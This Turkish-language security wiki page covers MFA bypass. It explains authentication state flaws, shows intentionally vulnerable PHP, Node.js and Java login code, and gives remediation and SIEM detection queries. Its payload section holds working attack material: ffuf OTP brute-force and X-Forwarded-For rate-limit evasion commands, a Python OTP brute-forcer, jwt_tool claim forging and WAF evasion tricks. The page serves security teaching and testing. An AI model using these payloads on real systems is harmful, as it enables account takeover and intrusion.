AltaySec Wiki Multi-Factor Authentication (MFA) Bypass   ·   AltaySec Araştırmalar

Multi-Factor Authentication (MFA) Bypass

root@altaysec:~# whoami
> Yazar: Nurettin Ünal

Siber güvenlik operasyonlarında Multi-Factor Authentication (MFA), savunma mimarilerinin en güvenilen ancak uygulama katmanında en sık istismar edilen kontrol mekanizmalarından biridir. Modern Red Team operasyonlarında MFA atlatma (bypass) eylemi, hedef sistemin kriptografik algoritmalarını kırmaktan ziyade; kimlik doğrulama akışındaki durum makinesi (state machine) hatalarını, oturum yükseltme (session upgrade) zafiyetlerini, API uç noktaları arasındaki yetkilendirme asimetrilerini ve federasyon zincirlerindeki (SAML/OIDC) mantık kusurlarını istismar etmeye dayanır.

MFA'nın "var olması", sistemin otomatik olarak güvende olduğu anlamına gelmez. Uygulamalar genellikle kullanıcının kimliğini doğruladıktan sonra, ikinci faktörün tamamlanmasını beklemeden bellekte veya veritabanında "yarı yetkili" (pre-authenticated) bir durum yaratır. Saldırganın temel amacı, bu yarı yetkili durumu manipüle ederek veya atlayarak tam yetkili oturum belirteçlerine (Access Token, Session Cookie) ulaşmaktır. Modern mimarilerde SPA (Single Page Application), mikroservisler, mobil API'ler ve SSO entegrasyonlarının karmaşıklığı, MFA politikalarının tutarlı bir şekilde uygulanmasını (enforcement) zorlaştırarak zafiyet yüzeyini genişletir.

How It Works (Teknik Analiz)

MFA'nın temel amacı, güvenliği "Bildiğiniz bir şey (Parola)", "Sahip olduğunuz bir şey (Telefon, Donanım Anahtarı)" ve "Olduğunuz bir şey (Biyometri)" faktörlerinden en az ikisinin kombinasyonu ile sağlamaktır. Teknik düzeyde bu süreç, durumsuz (stateless) veya durumlu (stateful) protokoller üzerinden ilerler.

NIST Digital Identity Guidelines (SP 800-63B), Authentication Assurance Level (AAL) konsepti ile güven seviyelerini belirler. MFA bypass senaryolarının kök nedeni genellikle sistemin AAL1 (sadece parola) durumundayken, kullanıcıya AAL2 (parola + OTP/Push) yetkilerini hatalı bir şekilde atamasıdır.

Protokol ve bellek düzeyinde MFA şu adımlardan oluşmalıdır:

  1. Challenge (Meydan Okuma): İstemci birinci faktörü (parola) sunar. Sunucu parolayı doğrular, ancak tam erişim vermek yerine geçici bir referans (örneğin, sınırlı bir JWT veya kısa ömürlü, yetkisiz bir oturum kimliği) döndürür.
  2. Verification (Doğrulama): İstemci, bu geçici referans ile birlikte ikinci faktörü (TOTP, SMS kodu, WebAuthn payload) sunar.
  3. Session Upgrade (Oturum Yükseltme): Sunucu ikinci faktörü doğrular, geçici referansı geçersiz kılar (invalidate) ve AAL2 seviyesinde tam yetkili yeni bir oturum belirteci (Session Token) üretir. OIDC standartlarında bu belirteç amr (Authentication Methods References) ve acr (Authentication Context Class Reference) değerlerini barındırır.

Kök neden (Root Cause) genellikle 1. ve 3. adımların birbirine karışması, yani sunucunun birinci adımdan sonra zaten geçerli bir oturum açması ve MFA adımını sadece istemci (UI/DOM) tarafında bir yönlendirme (redirect) ile yönetmesidir.

Vulnerable Code Patterns

Aşağıda farklı teknolojilerdeki tipik MFA zafiyetlerini (State Confusion ve Dangling Session) gösteren kod blokları ve analizleri bulunmaktadır.

// PHP - KÖTÜ TASARIM: Dangling Session / Premature Authentication
function authenticate($email, $password) {   
    $pdo = get_db_connection();   
    $stmt = $pdo->prepare("SELECT password FROM users WHERE email = :email");
    $stmt->execute(['email' => $email]);
    $user = $stmt->fetch(PDO::FETCH_ASSOC);
    return $user && password_verify($password, $user['password']);
}

if (authenticate($_POST['email'], $_POST['password'])) {
    // ZAFİYET BURADA: Kullanıcı MFA'yı geçmeden yetkili ilan ediliyor!
    $_SESSION['authenticated'] = true; 
    $_SESSION['user_id'] = $user['id'];
    
    // UI sadece kullanıcıyı yönlendiriyor. Saldırgan bu yönlendirmeyi takip etmez
    // ve doğrudan /dashboard endpoint'ine istek atarsa erişim sağlar.
    header('Location: /mfa');
    exit;
}
// Node.js (Express) - KÖTÜ TASARIM: Missing MFA Context Enforcement
app.post("/api/v1/login", async (req, res) => {
  const user = await User.findOne({ email: req.body.email });
  if (user && await bcrypt.compare(req.body.password, user.passwordHash)) {
      // ZAFİYET: JWT oluşturulurken MFA durumu claim olarak eklenmiyor.
      const token = jwt.sign({ userId: user._id, role: user.role }, process.env.SECRET);
      
      if (user.mfaEnabled) {
          // İstemciye MFA sayfasına gitmesi söyleniyor ama token çoktan verildi.
          return res.json({ token: token, requireMfa: true }); 
      }
      return res.json({ token: token, requireMfa: false });
  }
  res.status(401).send("Unauthorized");
});
// Java (Spring Security) - KÖTÜ TASARIM: Weak Trusted Device Token
@PostMapping("/api/trust-device")
public ResponseEntity<?> trustDevice(@AuthenticationPrincipal User user) {
    // ZAFİYET: Cihaz güven jetonu sadece base64 ile kodlanmış. 
    // İmza (HMAC), bağlam (Device Fingerprint) veya süre sınırı yok. Replay edilebilir.
    String rawData = user.getId() + ":" + user.getUsername();
    String weakToken = Base64.getEncoder().encodeToString(rawData.getBytes());
    
    ResponseCookie cookie = ResponseCookie.from("trusted_device", weakToken)
            .httpOnly(true)
            .maxAge(Duration.ofDays(30))
            .build();
    return ResponseEntity.ok().header(HttpHeaders.SET_COOKIE, cookie.toString()).build();
}

Detection & Enumeration (Keşif ve Analiz)

Sızma testlerinde MFA atlatma potansiyelini analiz etmek için uygulamanın kimlik doğrulama mimarisi uçtan uca haritalanmalıdır. Keşif aşaması, sunucunun verdiği tepkilerin, HTTP başlıklarının, çerezlerin ve DOM içeriğinin detaylı analizini gerektirir.

  1. Parola Doğrulama Sonrası İnceleme (Pre-Auth State Analysis):
    • Parola doğru, MFA kodu yanlış girildiğinde sunucu bir "Session Token", "JWT" veya "PHPSESSID" döndürüyor mu?
    • Döndürülen bu çerez/token ile uygulamanın yetki gerektiren endpointlerine (örn: /api/users/me, /dashboard) MFA sayfası atlanarak istek atılabiliyor mu?
  2. API vs Web UI Uyuşmazlıkları (Channel Parity Check):
    • Web arayüzü MFA zorunluluğu tutarken, aynı isteği mobil uygulamanın API endpointine (örn: /api/v2/mobile/login) veya GraphQL uç noktasına attığınızda MFA atlanabiliyor mu?
  3. Error & Time-Based Extraction:
    • Hatalı bir OTP girildiğinde sunucunun verdiği tepki süresi (response time) ile doğru uzunlukta ama geçersiz bir OTP girildiğindeki tepki süresi farklı mı? Bu durum Timing Attack ile OTP sızıntısına veya doğrulama mantığının keşfine yol açabilir.
  4. Token Decoding:
    • JWT kullanılıyorsa, jwt.io üzerinden token payload'ını okuyun. amr (Authentication Methods References) claim'i var mı? Varsa içeriği ["pwd"] mi yoksa ["pwd", "otp"] mi? Eğer sadece ["pwd"] içeren bir token ile hassas işlemlere izin veriliyorsa zafiyet vardır.

Attack Vectors & Exploitation (İstismar Vektörleri)

Direct Session Upgrading (Dangling Session)

Uygulama parola kontrolünden sonra yetkili oturumu başlatıyor ve kullanıcıyı sadece arayüz üzerinden /mfa sayfasına yönlendiriyorsa, saldırgan bu yönlendirmeyi iptal edip (Intercept in Burp) veya cURL ile doğrudan hedef URL'ye giderek MFA'yı aşar.

Response Manipulation (Status Code / Body Tampering)

Eğer MFA doğrulaması sadece istemci (Client-side) tarafında JavaScript ile kontrol ediliyorsa, HTTP yanıtları manipüle edilerek atlatılabilir.

OTP Brute-Forcing & Rate Limit Evasion

Sunucu tarafında hız sınırlaması (Rate Limiting) veya hesap kilitleme (Account Lockout) mekanizması yoksa, 4 veya 6 haneli OTP kodları kısa sürede kaba kuvvet saldırısı ile kırılabilir.

Parameter Pollution & Type Juggling

Sunucu gelen verinin türünü veya aynı parametrenin birden fazla kez gönderilmesini doğru ayrıştıramıyorsa (özellikle PHP ve Node.js mimarilerinde), MFA mekanizması atlatılabilir.

OTP Token Leakage (Information Disclosure)

Uygulama, MFA kodunu üretirken veya gönderirken debug verilerini, XHR yanıtını veya DOM ağacını temizlemeyi unutabilir.

Legacy Protocol Fallback (Downgrade Attacks)

MFA sadece modern Web ve Mobil API'lerde zorunlu kılınmış, ancak eski (legacy) protokoller hala açıksa sistem atlatılabilir.

Trusted Device / Remember Me Abuse

"Bu cihazı hatırla" özelliği zayıf kriptografik temellerle oluşturulmuşsa istismar edilebilir.

Password Reset / Recovery Flow Abuse

Kullanıcı hesabı kurtarma akışı genellikle MFA'yı sıfırlar veya bypass eder. Eğer kurtarma süreci zayıfsa, MFA da işlevsiz kalır.

Concurrent Requests (Race Conditions)

OTP kodu oluşturulurken veya doğrulanırken uygulamanın aynı anda gelen (milisaniye farkıyla) istekleri nasıl işlediği kontrol edilir.

Payloads & Advanced Commands

OTP Brute-Force via ffuf

Basit bir 4 haneli PIN kaba kuvvet saldırısı:

ffuf -w 4-digit-pins.txt -u https://target.com/api/mfa/verify -d '{"email":"[email protected]", "code":"FUZZ"}' -H "Content-Type: application/json" -H "Cookie: session=ey..." -mc 200,302

X-Forwarded-For IP Rotation via ffuf (Rate Limit Bypass)

ffuf -w 6-digit-pins.txt -u https://target.com/api/mfa -X POST -d "code=FUZZ" -H "X-Forwarded-For: 127.0.0.FUZZ" -H "Content-Type: application/x-www-form-urlencoded" -fr "Rate Limit"

Custom Python Exploit Scripts (State Bypass & Automation)

Bir önceki adımda oturumun iptal edildiği ve sıfırdan başlamak gereken zorlu durumlarda otomasyon:

import requests
import time
from urllib.parse import urljoin

BASE_URL = 'http://target.com/api/'
LOGIN_URL = urljoin(BASE_URL, 'login')
MFA_URL = urljoin(BASE_URL, 'mfa/verify')

creds = {'email': '[email protected]', 'password': 'Password123!'}

def brute_force_mfa():
    for otp in range(0, 10000): # 0000 to 9999
        otp_str = f"{otp:04d}"
        
        # 1. Her deneme için taze bir session oluştur (Rate limit lockout'tan kaçınmak için)
        session = requests.Session()
        
        # 2. Login ol ve Pre-Auth session al
        resp_login = session.post(LOGIN_URL, json=creds)
        if resp_login.status_code != 200:
            print("[!] Login failed, check creds or WAF block.")
            time.sleep(5)
            continue
            
        # 3. OTP'yi dene
        resp_mfa = session.post(MFA_URL, json={"code": otp_str})
        
        if "Invalid OTP" not in resp_mfa.text and resp_mfa.status_code in [200, 302]:
            print(f"[+] SUCCESS! OTP Found: {otp_str}")
            print(f"[+] Cookies: {session.cookies.get_dict()}")
            break
        else:
            print(f"[-] Failed: {otp_str}")

if __name__ == '__main__':
    brute_force_mfa()

JWT / OIDC Claim Manipulation

Token değerlerindeki MFA bayraklarını değiştirmek için jwt_tool:

# Token'ı decode edip içeriğine bakmak
jwt_tool -d eyJhb...

# Token içindeki amr (Authentication Methods) değerini ['pwd'] den ['pwd', 'mfa'] olarak değiştirip None algoritması veya zayıf secret ile imzalamak
jwt_tool eyJhb... -I -pc amr -pv "['pwd', 'mfa']"

JSON Array Payload / Type Juggling

Burp Suite Intruder'da veya cURL ile JSON Array Injection denemesi:

curl -X POST https://api.target.com/mfa/verify \
     -H "Content-Type: application/json" \
     -H "Authorization: Bearer <pre_auth_token>" \
     -d '{"code": ["1234", "0000", "1111"]}'

Log Analysis & SIEM Queries (jq, Splunk, KQL)

Blue Team bakış açısıyla veya ele geçirilen logların analizinde kullanılan tespit komutları:

# MFA başarısız ama parola doğru görünen olayları JSON logdan ayıkla
jq -r 'select(.event_type=="login" and .password_result=="success" and .mfa_result=="failure") | [.timestamp, .user, .ip, .device_id] | @tsv' auth.log.json

# Başarılı admin oturumlarında MFA (amr) eksikliği tespiti
jq -r 'select(.resource=="admin" and .result=="success") | select((.token.acr != "aal2") or (.token.amr | index("mfa") | not)) | [.timestamp, .user, .ip] | @tsv' auth.log.json

KQL (Microsoft Sentinel):

SigninLogs
| where TimeGenerated > ago(24h)
| where ResultType == 0
| where AppDisplayName in ("Admin Portal","Billing API")
| extend AMR = tostring(AuthenticationMethodsUsed)
| where isempty(AMR) or AMR !contains "multi"
| project TimeGenerated, UserPrincipalName, IPAddress, AMR

Bypass & Obfuscation (Atlatma Teknikleri)

Gelişmiş WAF (Web Application Firewall) ve IDS/IPS sistemlerini atlatmak için uygulanan obfuskasyon teknikleri:

  1. Double/URL Encoding: İstekleri izleyen Regex kurallarını aşmak için payload'ları çift kodlayın: %2531 -> %31 -> 1.
  2. Line-Feed / Carriage Return Injection: JSON body içine veya headerlara boşluk ve yeni satır karakterleri ekleyerek WAF'ın parser sınırlarını zorlayın (örn: {"code" :\n"1234"}).
  3. HTTP Method Override: WAF sadece POST isteklerindeki hız sınırını ölçüyorsa, yöntemi değiştirin:
    POST /api/mfa HTTP/1.1
    X-HTTP-Method-Override: GET
    
  4. Referer ve Origin Spoofing: Bazı sistemler isteklerin sadece kendi arayüzünden geldiğine güvenir (CORS/CSRF mantığı). İsteklere uygulamanın kök dizinini belirten Referer: https://target.com/mfa-page başlığını mutlaka ekleyin.

Remediation & Prevention (Önleme ve Savunma)

MFA'yı siber uzayda dayanıklı bir zırha dönüştürmek için mimari düzeyde uygulanması gereken katı kurallar şunlardır:

  1. Pre-Auth Session Separation (Oturum Ayrımı): Parola doğrulandıktan sonra asla tam yetkili bir oturum başlatılmamalıdır. Sadece MFA ekranında geçerli, dar kapsamlı ve kısa ömürlü bir oturum/jwt (Pre-Auth) üretilmeli, MFA başarıyla tamamlandıktan sonra bu oturum iptal edilip yetkili (Rotated) yeni bir Session/Token tahsis edilmelidir.
  2. Backend Enforcement (Sunucu Taraflı Kontrol): MFA kontrolü asla sadece frontend/DOM yönlendirmelerine bırakılamaz. Yetki gerektiren tüm API uç noktaları (/dashboard, /profile, /admin) istekteki oturum token'ının içinde amr (Authentication Methods References) veya mfa_verified=true bilgisini aktif olarak doğrulamalıdır.
  3. Phishing-Resistant MFA (FIDO2 / WebAuthn): Oltalama (AiTM - Adversary in the Middle) saldırılarına karşı SMS OTP veya Push notification yerine, origin-binding yapan FIDO2/WebAuthn donanım tabanlı (YubiKey) veya Passkey yaklaşımlarına geçilmelidir.
  4. Strict Rate Limiting & Account Lockout: OTP doğrulama uç noktaları, hesap bazlı (Account-Level) ve IP bazlı (IP-Level) olmak üzere iki boyutlu hız sınırlandırmasına tabi tutulmalı, üst üste başarısız denemelerde MFA mekanizması (geçici olarak) kilitlenmelidir.
  5. Contextual Token Binding: Üretilen oturum veya Trusted Device belirteçleri, kullanıcının cihaz kimliği (Device Fingerprint), IP adresi ve ASN bilgileri ile kriptografik olarak imzalanmalı (HMAC/JWT), bağlam dışına çıkıldığında (Impossible Travel) yeniden doğrulama (Step-Up Authentication) talep edilmelidir.

Common Tools & Frameworks

Araç Fonksiyon Komut Örneği
Burp Suite (Intruder) OTP Brute-Forcing, Hız Sınırı Testleri Payload type: Numbers, 0000 to 9999
ffuf Başlık Fuzzing, Rate Limit Bypass, API Fuzzing ffuf -w wordlist -u http://site/mfa -d "code=FUZZ"
jwt_tool JWT Manipulation, None Algoritması, Signature Forging jwt_tool token.jwt -I -pc amr -pv "['mfa']"
Evilginx2 AiTM Phishing, MFA Token/Cookie Hırsızlığı phishlets/office365.yaml
jq Auth Loglarında JSON parsing, anomali tespiti jq 'select(.mfa_result=="failure")' log.json
Splunk (SPL) MFA korelasyonu, başarılı/başarısız log dizileri index=auth event_type=mfa_challenge
Turbo Intruder (Burp) Race Condition testleri, eşzamanlı istek atma reqEngine.queue(req, gate='race1')

Yazar: Nurettin Ünal · AltaySec Wiki — Türkçe güvenlik playbook'u.

← Tüm modüller (interaktif wiki) · Yapay zekâ güvenliği araştırmaları · AltaySec Arşiv